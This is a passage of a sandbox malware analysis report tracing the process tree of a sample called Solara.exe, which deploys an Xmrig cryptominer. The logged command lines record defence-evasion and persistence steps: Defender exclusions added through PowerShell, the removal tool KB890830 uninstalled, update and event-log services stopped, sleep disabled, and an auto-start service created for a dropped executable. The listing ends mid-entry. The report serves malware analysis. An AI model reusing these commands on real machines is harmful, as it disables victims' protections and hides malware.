MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:10:39
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:10:39
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:10:40
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6051e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6f90b0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:10:43
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:10:44
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:10:44
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:10:44
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7b4d70000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	01:10:44
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7b4d70000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff7b4d70000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff7b4d70000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "PGYNROQK"
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "PGYNROQK" binpath= "C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe" start= "auto"
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "PGYNROQK"
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe
Imagebase:	0x7ff65d130000
File size:	5'527'040 bytes
MD5 hash:	089094590DF5698B03A7428A5864ED33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3040, Parent PID: 1496

General

Target ID:	43
Start time:	01:10:45
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6051e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: sc.exePID: 6352, Parent PID: 7076

General

Target ID:	45
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7b4ee0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6f90b0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	01:10:48
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff686210000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7b4d70000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7b4d70000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff7b4d70000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff7b4d70000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bd830000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	01:10:49
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	01:10:50
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	conhost.exe
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000042.00000002.2596176431.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000042.00000002.2596176431.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	67
Start time:	01:10:50
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Solara.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Solara.exe"
Imagebase:	0x7ff6284a0000
File size:	5'527'040 bytes
MD5 hash:	089094590DF5698B03A7428A5864ED33
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	01:10:50
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Solara.exe" -Verb runAs
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	01:10:50
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	01:10:53
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Solara.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Solara.exe"
Imagebase:	0x7ff6284a0000
File size:	5'527'040 bytes
MD5 hash:	089094590DF5698B03A7428A5864ED33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	01:10:53
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4008, Parent PID: 2044

General

Target ID:	74
Start time:	01:10:53
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	01:10:59
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Solara.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Solara.exe"
Imagebase:	0x7ff6284a0000
File size:	5'527'040 bytes
MD5 hash:	089094590DF5698B03A7428A5864ED33
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	01:11:04
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Exela.exe
Wow64 process (32bit):	false
